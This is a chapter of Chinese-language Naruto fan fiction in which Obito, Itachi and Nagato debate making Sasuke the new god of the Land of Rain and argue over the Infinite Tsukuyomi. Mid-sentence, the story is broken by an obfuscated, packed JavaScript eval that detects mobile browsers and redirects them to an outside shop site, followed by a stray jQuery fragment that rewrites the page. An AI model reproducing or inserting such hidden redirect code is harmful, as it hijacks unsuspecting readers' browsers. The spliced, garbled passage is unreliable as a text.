“过来。”带土对长门伸出手:“我带你回雨之国。”
鼬正注视着佐助和鸣人小樱他们,看他们去和我爱罗见面,鸣人把佐助介绍给我爱罗。
他认为,自己没有必要介入小孩子们之间的友谊。
佐助如果能和鸣人、小樱、我爱罗他们多交往,总是个好事。
于是他对佐助微笑示意,留了一只乌鸦约定与他三天后在五影会谈现场相见。
“带我一个。”鼬对带土说:“我对你的时空间忍术好奇好久了。”
带土:“……”
你这么说,那好像只能让你自己走回去了。
“算了,来吧。”
反正都这个时候了,该坦白的都坦白过了,宇智波带土感觉现在自己就像是一个连环杀人犯东藏西躲许久终于被逮捕,然后法官当堂宣判他无罪一样,感觉前所未有的轻松。
……那时他与鸣人孤身相对,看他背后有着无数人的支持,自己身后却空空荡荡,反思自己的时候,可未曾想过,原来琳一直在他的背后……只是他被偏执蒙蔽了双眼,未曾看到。
原来这世上真的有净土。
原来她死后,并未在地狱中受苦。
原来她死后,一直默默地等待着他,注视着他啊……
就为了这个,带土感觉他可以原谅宇智波鼬。
他将长门和鼬塞到神威空间里面,很快又出来,落地便是雨之国空荡荡的高塔之上。
鼬就算真的脑海中在思考该要怎么破解神威空间,他也没有表露得很明显。
他只是问长门:“你准备让佐助住在哪里?”
长门神色有些忧伤,又有些惆怅,他睁着一双黑色的眼睛,听到鼬的要求,慢了好半拍才说:“干脆让他就住在这里吧。”
他声音低沉地说:“这里是神明的居处,雨之国最高的一座尖塔,往日我与天道和小南共同居住在这里。”
然而现在已经既没有天道,也没有小南了。
只有他自己。
长门说:“他既然要庇护雨之国——我会让他成为雨之国新的神明,神明自然要住在天上。”
“整个雨之国不会有任何人的住所比他更接近天空。”
鼬闻言不由怔住了。
“你——长门老大——我并非是想拒绝,只是这待遇太高了,我怕佐助承受不起。”
带土抱着手臂,安静地看着。
长门说:“不要拒绝,鼬,作为小国家,想要招揽人才,自然要付出更大的代价,给出更好的待遇。”
“宇智波佐助拥有轮回眼,击败了宇智波斑,现在的他有这样的实力,自然也该匹配这样的地位。”
“他会顺利成为雨之国新一任的神明。”
鼬深深地看了一眼长门。
他发现他其实一直都没真正地理解过这个男人。
当他离开木叶村的时候,他曾经与宇智波带土(红夜之刃)短暂地同行过一段时间,那时候他并不知道那个顶着宇智波斑名号的男人是宇智波带土。
但他看到那张面具,就已经敏锐地察觉到,或许解读这个男人思想与行为的关键,就在那张面具之下。
为此,他试着去探寻那张面具之下藏起来的人究竟是个怎样的人——之后他就被送到了晓组织。
现在,他已经知道了,他猜的完全没错,面具确实是解读宇智波带土的关键。
那时候他将他送到晓组织去,正是因为他的调查给宇智波带土带来了切实的威胁,为此宇智波带土做出了防御措施。
一旦加入了晓组织,他的调查重点就不得不从宇智波斑身上,转移到了晓组织的首领佩恩身上。
佩恩是个不折不扣的神明,神秘、强大、威严、公正,无懈可击。
与佩恩相比,宇智波斑更像是传说中会窃取佛陀果位的魔王波旬,隐匿在黑暗之中,默默以窥探着人间的邪恶。
但无论是神明还是魔王。
都该有些对自己权位的执念吧。
“佐助还年轻,我以为你们不会让他踩到你们头上去,住在你们头顶的。”
漩涡长门不做雨之国的神明了?
直接让佐助来做?
宇智波鼬从来没敢这么想过。
他以为佐助到雨之国来,最好的待遇也不过就像是自来也在木叶一样……
一个客卿和顾问。
除了必要的时候会被召回要求听令,其他任何时候都是自由的。
在忍界,一个忍者,所能得到最好的待遇不过如此。
但是,神明???直接凌驾所有人之上???别的国家从来没有这样的一个岗位。
长门淡淡说:“我并不是因为喜欢高高在上,才选择成为神明的。”
“正如我不是因为贪恋生命,而留在人间。”
“这个人间,和那些权位,与我而言,不过是痛苦的刑具和镣铐……只是人之所以活在这个世上,总是还有梦想和自己想要庇护的人。”
“雨之国需要一个神明的庇护。”
“而现在的佐助,比现在的我,更适合成为那个神明。”
带土忽然闷声笑了:“你有些妄自菲薄了,长门,你的力量并不仅仅在于轮回眼——一个健康的你,只怕比拥有轮回眼却骨瘦如柴双腿残疾,连喘气都费劲儿的你,拥有更强大的力量。”
“毕竟,你很少用五遁忍术,并不是因为你不会,不是么?”
鼬叹道:“我实在很尊敬你,长门,你不知道像你这样的人有多难得,我见过太多人汲汲经营于权位以至于盲目自大反伤己身,甚至把周围所有人都拖下水……”
“只是我现在还有一个担心之处。”
鼬说:“雨之国的国民,愿意接受佐助这个曾经登上过通缉令的木叶叛忍,成为他们新的神明吗?”
长门说:“这个你不用担心,他不是有轮回眼么???”
“凡是有轮回眼的人,都是雨之国的神,往常我曾用佩恩六道行走在雨之国,佩恩六道男女样貌都不同,但只需见到两只紫色的轮回眼,雨之国的人便认得我。”
“就像是他们只要见到纸做的鲜花……”
他忽然住口,不再往下说了。
要说到纸做的鲜花,他就想到小南。
他不愿意再继续想这件事。
鼬有些茫然:“竟然是这样么?轮回眼在这个国家……是神明的象征。”
长门淡淡说:“他们会很容易就接受佐助的,而佐助,我看他是个心中有英雄气的好孩子,如果有人真诚地请求他的帮助,他也断然不会拒绝,如此一来,我就放心了。”
“放心了之后呢?”带土背着双手,悠然走到了栏杆前,往下俯瞰着街道上寥落的行人:“然后你就可以放心地去死了?长门,我没有想到,你是这样一个软弱的孩童。”
长门默默把脸撇到一边去,往旁边走了几步,离带土远了一些。
鼬感觉他不爱听带土说教。
但好像又不得不听。
而且这样的事情,往常好像发生过很多次。
嗯……考虑到长门往常腿脚不便,可能之前每一次他都想走开,却走不掉,现在终于可以走远一些了……
带土说:“你死去的这些日子,你自己倒是很快活,让我猜猜,你想到了你自来也老师的遗志,你想到了曾经梦想刚刚启航,尚未破碎时候的美好时光,那时候一切都是那么简单,那么光明,那么美好——”
长门低着头,默默又往旁边走远了一些。
鼬真没想到这个。
原来天道佩恩的皮下,一直以来那个晓组织的神明,是个温顺到有些过头的家伙。
但转瞬鼬就想到也同样是这个男人,一个忍术杀掉了木叶包括平民和忍者在内的几十万人。
“你跑什么?给我回来。”带土背身对着室内,却不知道是怎么发现了长门的动静:“我恐怕你当时脑子里根本没有想到过雨之国的国民。”
“你为什么现在不去问问他们?在神明忽然消失的这些天,他们心里是怎么想的?”
鼬思考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022606|148726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了片刻,顺着带土的话往下,说到:“他们一定很惶恐不安——”
带土说:“这座高塔一共十八层,十八层原本是长门的住所,十七层往下,是雨之国各个部门的办公室,十七层则是负责照顾长门的神侍,那些神侍大半都是医疗忍者。”
“现在长门身体是健康的,就也不需要神侍了,将他们合并到八层的医疗部门去,十七层刚好收拾出来给长门住。”
长门说:“我不想继续呆在这座塔里面了,我想出去转转,到各地走走。”
带土面无表情:“就像你指望漩涡鸣人能守卫雨之国的和平一样……你也指望佐助刚到这里来,一个人都不认识,就直接走马上任?”
“你现在走下去,一层层去问那些人的意见,把你的想法告诉那些四十岁往上,在基层事务中饱经磨炼,见过各色人等撒泼耍赖,有着丰富地与人斗争经验的部门人员。”
“你一五一十地把你所有的想法,和最后做出来的事情,一桩桩一件件都告诉他们。”
“他们是你的下属,不会骂你骂得太难听的。”
长门终于恼了。
“你说的好像你做的很像样子——无限月读?你知道那全是假的!你自己就是玩弄幻术的人,怎么反而会被幻术所骗!就算你真的最后成功了,你知道么?未曾体会过痛苦的人,也无法体会幸福。”
“他们只觉得自己才是最痛苦的,哪怕他们生活中的每一个细节在别人眼里已经幸福到无可附加,他们也看不到自己的幸福。”
“就像千手纲手,她简直觉得自己痛苦到无以复加了,哪怕她的生活是整个忍界无数人梦寐以求的,她也感觉自己比一个年仅五岁就死掉了父母的人要更痛苦。”
“失去了对痛苦的体验,一个完全的美梦,就是一个完全的噩梦!”
“你的无限月读没有痛苦,那就是违背了人性,注定不可能让他们感到幸福。”
带土:“……”
还能从这个角度反对无限月读???
鼬居中打圆场:“我认为,你们追求和平的道路虽有不同,但多少算是殊途同归,秉着同一个信念,同一个理想,为了同一个目标,大家应该算是朋友的。”
就先别吵了吧。
带土脸色很僵硬地扭头看向鼬。
“你——”带土幽幽问:“你这三天不许去木叶,也不许联络他们,我有一个想法,很好奇,需要得到验证。”
鼬眉心一跳。
他永远不会忽视这个家伙嘴里所说的每一个字。
“你又想做什么?”
“我什么都不会做,你也什么都不要做——长门,佐助的事情你也先不要告诉雨之国的人,简单来说,我们三个,谁都不要做任何事。”
“我很好奇,在我们不做任何事的情况下,木叶会做什么事。”
带土已经决定把长门对无限月读的质问抛之脑后。
不得不说,长门的质询是真的切中了他的思绪,这么长时间以来,带土迟迟拖着无限月读的进度没有执行,除了需要防备宇智波斑复活,积蓄足以对抗宇智波斑的力量之外,就是因为他有这样的疑虑。
一个拥有一切的人,难道就真的会幸福了吗?
有时候,你不得不承认,一个幸福的人或许会主动追求痛苦。
就好像是此时的木叶,他们是四战最大的赢家,拥有鸣人和佐助两个六道级的英雄——
他们会就这样高高兴兴快快乐乐地把他俩捧在手心里?
鸣人当然不成问题。
但佐助……带土忽然冷笑。
“如果木叶只有鸣人或者佐助其中一个,他们或许会知道该怎么正确地对待他们,但他们有两个。”
带土幽幽说:“鼬,你真不愧是我见过最聪明的人,你光凭长门一句话,就让佐助到雨之国来,只怕佐助还不明白为什么。”
三天后。
他应该就明白了。
宇智波佐助……你会以英雄的身份出现在五影会谈,还是会以罪人的身份呢?